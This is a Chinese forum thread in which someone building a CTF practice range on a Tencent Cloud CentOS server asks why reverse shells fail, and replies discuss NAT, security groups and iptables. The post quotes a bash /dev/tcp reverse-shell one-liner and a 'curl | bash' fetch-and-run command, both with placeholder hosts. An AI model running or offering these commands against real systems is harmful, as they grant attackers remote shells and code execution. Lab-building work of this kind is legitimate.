腾讯云centos服务器上无法反弹shell

在搭建靶场的时候发现自己的题目无论如何都无法拿到shell,一度以为自己payload有问题,在服务器上手动反弹shell时才发现并不能成功。

bash -i >& /dev/tcp/ip/port 0>&1

curl x.x.x.x | bash

等命令均报错如下
no route to host

防火墙已全部关闭,centos7系统,有没有遇到相同情况的师傅能解答一下。

用的是腾讯云轻量服务器吧?这个服务器没有外网网卡,是用路由器和内网网卡建立映射实现的外网效果,所以反弹shell找不到。只能在内网建立反弹shell

这个报错是没有找到主机路由。查一下两端的iptables是否有设置,ping测两端抓包。或者。。。给你个更简单的方法,你用谁的产品就咨询谁的客服。腾讯云是这个:https://cloud.tencent.com/online-service?from=service-support

云防火墙有安全组,需要设置开启端口才行,在ecs界面那里。

楼主解决了吗,我也遇到这个问题了,其他服务器就可以

楼主怎么样了,我现在也是这个问题,问了客服,客服说一切正常,我防火墙全放开了